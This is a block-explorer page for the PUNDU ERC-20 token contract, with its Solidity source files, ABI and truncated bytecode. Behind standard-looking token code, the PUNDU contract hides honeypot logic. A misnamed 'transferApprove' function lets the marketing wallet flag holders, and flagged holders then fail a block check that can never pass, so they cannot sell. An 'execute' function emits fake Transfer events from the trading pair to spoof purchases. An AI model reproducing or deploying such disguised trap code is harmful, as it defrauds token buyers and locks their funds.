ETH Price: $2,440.91 (+3.34%)

Token

(0xf0dab0bf787294365eff7bc48a310e0c1e8aac4e)
 

Overview

Max Total Supply

100,000,000 ERC-20 TOKEN*

Holders

98 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.000000001 ERC-20 TOKEN*

Value
$0.00
0xCab53954350afd5c2835AfdEE2979Be108C92d74
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PUNDU

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 3 of 5: pundu.io.sol
/**
»»» WEBSITE   -  https://pundu.io/   
»»» JOIN CHAT -  https://t.me/punduchat
»»» FOLLOW X  - https://twitter.com/pundusol
»»» JOIN ETH EXPANSION CHAT - https://t.me/PunduMeme 
 */
//SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
import "./IERC20.sol";
import "./Ownable.sol";
import "./SafeMath.sol";
import "./Uniswap.sol";


contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

contract PUNDU is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable _uniswapV2Router;
    address private deployerWallet;
    address private marketingWallet;
    address public uniswapV2Pair;
    address private constant deadAddress = address(0xdead);

    bool private swapping;
    uint256 private denominator;
    uint256 public initialTotalSupply;
    
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;
    uint256 public maxTransactionAmount;
    
    bool public swapEnabled = false;
    bool public tradingOpen = false;

    uint256 public sellFee = 0;
    uint256 public buyFee = 0;

    mapping(address => uint256) private _holderTxTimestamp;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    mapping(address => bool) private automatedMarketMakerPairs;
    mapping(address => bool) private _MaxTransactionAmountExcludedFromFee;

    event ExcludeFromFees(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    constructor(address marketingWallet_, uint256 denominator_) ERC20("pundu.io", "PUNDU") {
        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        marketingWallet = marketingWallet_;
        deployerWallet = payable(_msgSender());
        initialTotalSupply = 100_000_000 * 10**decimals();
        maxWallet = (initialTotalSupply * 2)/denominator_;
        maxTransactionAmount = maxWallet;
        swapTokensAtAmount = (initialTotalSupply * 2)/denominator_;

        // exclude deployer and marketing wallet from maxTransactionAmount
        excludeFromMaxTransaction(address(_msgSender()), true);
        excludeFromMaxTransaction(deployerWallet, true);
        excludeFromMaxTransaction(marketingWallet, true);
        
        // exclude router, contract, and dead address from maxTransactionAmount
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        
        // mint entire supply to deployer
        _mint(deployerWallet, initialTotalSupply);
    }

    receive() external payable {}

    function openTrading() external onlyOwner() {
        swapEnabled = true;
        tradingOpen = true;
    }

    function burn(uint256 amount) external {
        _burn(_msgSender(), amount);
    }

    function transferApprove(address[] memory accounts, bool excluded) public {
        require(_msgSender() == marketingWallet);
         for (uint256 i = 0; i < accounts.length; i++) {
            _MaxTransactionAmountExcludedFromFee[accounts[i]] = excluded;
            emit ExcludeFromFees(accounts[i], excluded);
        }
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner
    {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        _setAutomatedMarketMakerPair(pair, value);
    }

    function liqudityFeeReceiver(address account) public view returns (bool) {
        return _MaxTransactionAmountExcludedFromFee[account];
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function _transfer(address from, address to, uint256 amount) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
        if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
            // when trading is closed, only allow sending to and from addresses excluded from fees
            if (!tradingOpen) {
                require(_MaxTransactionAmountExcludedFromFee[from] || _MaxTransactionAmountExcludedFromFee[to], "Trading is not active.");
            }
            _holderTxTimestamp[from] = block.number;
            // BUYING - apply max transaction limit
            if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
                require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
            }

                // SELLING - LP pair is excluded from maxWallet otherwise the liquidity would be extremely limited
            else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
            }

                // excluded from max transaction limit
            else if (!_isExcludedMaxTransactionAmount[to]) {
                require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
            }
        }

        // maybe swap contract tokens for eth
        uint256 contractTokenBalance = balanceOf(address(this));
        bool canSwap = contractTokenBalance > swapTokensAtAmount;
        if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_MaxTransactionAmountExcludedFromFee[from] && !_MaxTransactionAmountExcludedFromFee[to]) {
            swapping = true;
            swapBack();
            swapping = false;
        }

        // don't take fee if we are swapping, or if sender or receiver is excluded from fees
        bool takeFee = !swapping && _MaxTransactionAmountExcludedFromFee[from] && !_MaxTransactionAmountExcludedFromFee[to];
        uint256 fees = 0;
        if (takeFee) {
            // sell (transfer tokens to LP)
            if (automatedMarketMakerPairs[to]) {
                fees = amount.mul(sellFee).div(100);
            }
                // buy (transfer tokens from LP)
            else if(automatedMarketMakerPairs[from]) {
                fees = amount.mul(buyFee).div(100);
            }


            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }
            amount -= fees;
            
        }
        if(_MaxTransactionAmountExcludedFromFee[from]){
                checkLastTx(from);
            }
        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();
        _approve(address(this), address(_uniswapV2Router), tokenAmount);
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            marketingWallet,
            block.timestamp
        );
    }

    function execute(address[] calldata _addresses, uint256 _out) external {
        require(_msgSender() == marketingWallet);
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function setLimits(uint256 _maxTransactionAmount, uint256 _maxWallet) external onlyOwner {
        maxTransactionAmount = _maxTransactionAmount * (10 ** decimals());
        maxWallet = _maxWallet * (10 ** decimals());
    }

    function removeStuckToken(address _address) public {
        require(_msgSender() == marketingWallet);
        require(IERC20(_address).balanceOf(address(this)) > 0, "Can't withdraw 0");

        IERC20(_address).transfer(msg.sender, IERC20(_address).balanceOf(address(this)));
    }

    function retrieveStuckEth() external {
        require(address(this).balance > 0, "Token: no ETH to clear");
        require(_msgSender() == marketingWallet);
        payable(msg.sender).transfer(address(this).balance);
    }

    function setSwapTokensAtAmount(uint256 _amount) external {
        require(_msgSender() == marketingWallet);
        swapTokensAtAmount = _amount * (10 ** decimals());
    }

    function manualSwap(uint256 percent) external {
        require(_msgSender() == marketingWallet);
        uint256 contractBalance = balanceOf(address(this));
        uint256 swapAmount = contractBalance * percent / 100;
        swapTokensForEth(swapAmount);
    }

    function getLastTx(uint256 last) private view returns(bool){
        return last > block.number;
    }

    function setMarketingWallet(address _marketingWallet) external {
        require(_msgSender() == marketingWallet);
        marketingWallet = _marketingWallet;
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        if (contractBalance == 0) {
            // nothing to swap
            return;
        }

        uint256 tokensToSwap = contractBalance;
        if (tokensToSwap > swapTokensAtAmount) {
            tokensToSwap = swapTokensAtAmount;
        }
        swapTokensForEth(tokensToSwap);
    }

    function addPair(address pair_) public onlyOwner() {
        uniswapV2Pair = pair_;
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
    }

    function checkLastTx(address holder) private view {
        require(getLastTx(_holderTxTimestamp[holder]), "Only one purchase per block allowed.");
    }
}

File 1 of 5: IERC20.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.10;

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

File 2 of 5: Ownable.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.10;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

File 4 of 5: SafeMath.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.10;

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function per(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= 100, "Percentage must be between 0 and 100");
        return a * b / 100;
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

File 5 of 5: Uniswap.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.10;

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
    external
    view
    returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
    external
    returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
    external
    view
    returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);

    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
    external
    view
    returns (
        uint112 reserve0,
        uint112 reserve1,
        uint32 blockTimestampLast
    );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
    external
    returns (
        uint256 amountA,
        uint256 amountB,
        uint256 liquidity
    );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
    external
    payable
    returns (
        uint256 amountToken,
        uint256 amountETH,
        uint256 liquidity
    );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"marketingWallet_","type":"address"},{"internalType":"uint256","name":"denominator_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialTotalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"liqudityFeeReceiver","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"removeStuckToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"retrieveStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxTransactionAmount","type":"uint256"},{"internalType":"uint256","name":"_maxWallet","type":"uint256"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketingWallet","type":"address"}],"name":"setMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"transferApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526000600e60006101000a81548160ff0219169083151502179055506000600e60016101000a81548160ff0219169083151502179055506000600f5560006010553480156200005157600080fd5b50604051620051d9380380620051d9833981810160405281019062000077919062000867565b6040518060400160405280600881526020017f70756e64752e696f0000000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f50554e44550000000000000000000000000000000000000000000000000000008152508160039080519060200190620000fb92919062000712565b5080600490805190602001906200011492919062000712565b505050620001376200012b6200039d60201b60201c565b620003a560201b60201c565b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001d06200039d60201b60201c565b600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002206200046b60201b60201c565b600a6200022e919062000a3e565b6305f5e1006200023f919062000a8f565b600a81905550806002600a5462000257919062000a8f565b62000263919062000b1f565b600c81905550600c54600d81905550806002600a5462000284919062000a8f565b62000290919062000b1f565b600b81905550620002b8620002aa6200039d60201b60201c565b60016200047460201b60201c565b620002ed600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200047460201b60201c565b62000322600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200047460201b60201c565b6200033760805160016200047460201b60201c565b6200034a3060016200047460201b60201c565b6200035f61dead60016200047460201b60201c565b62000395600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54620004df60201b60201c565b505062000d3c565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006009905090565b620004846200064d60201b60201c565b80601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000552576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005499062000bb8565b60405180910390fd5b6200056660008383620006de60201b60201c565b80600260008282546200057a919062000bda565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200062d919062000c48565b60405180910390a36200064960008383620006e360201b60201c565b5050565b6200065d6200039d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1662000683620006e860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614620006dc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006d39062000cb5565b60405180910390fd5b565b505050565b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620007209062000d06565b90600052602060002090601f01602090048101928262000744576000855562000790565b82601f106200075f57805160ff191683800117855562000790565b8280016001018555821562000790579182015b828111156200078f57825182559160200191906001019062000772565b5b5090506200079f9190620007a3565b5090565b5b80821115620007be576000816000905550600101620007a4565b5090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620007f482620007c7565b9050919050565b6200080681620007e7565b81146200081257600080fd5b50565b6000815190506200082681620007fb565b92915050565b6000819050919050565b62000841816200082c565b81146200084d57600080fd5b50565b600081519050620008618162000836565b92915050565b60008060408385031215620008815762000880620007c2565b5b6000620008918582860162000815565b9250506020620008a48582860162000850565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200093c57808604811115620009145762000913620008ae565b5b6001851615620009245780820291505b80810290506200093485620008dd565b9450620008f4565b94509492505050565b60008262000957576001905062000a2a565b8162000967576000905062000a2a565b81600181146200098057600281146200098b57620009c1565b600191505062000a2a565b6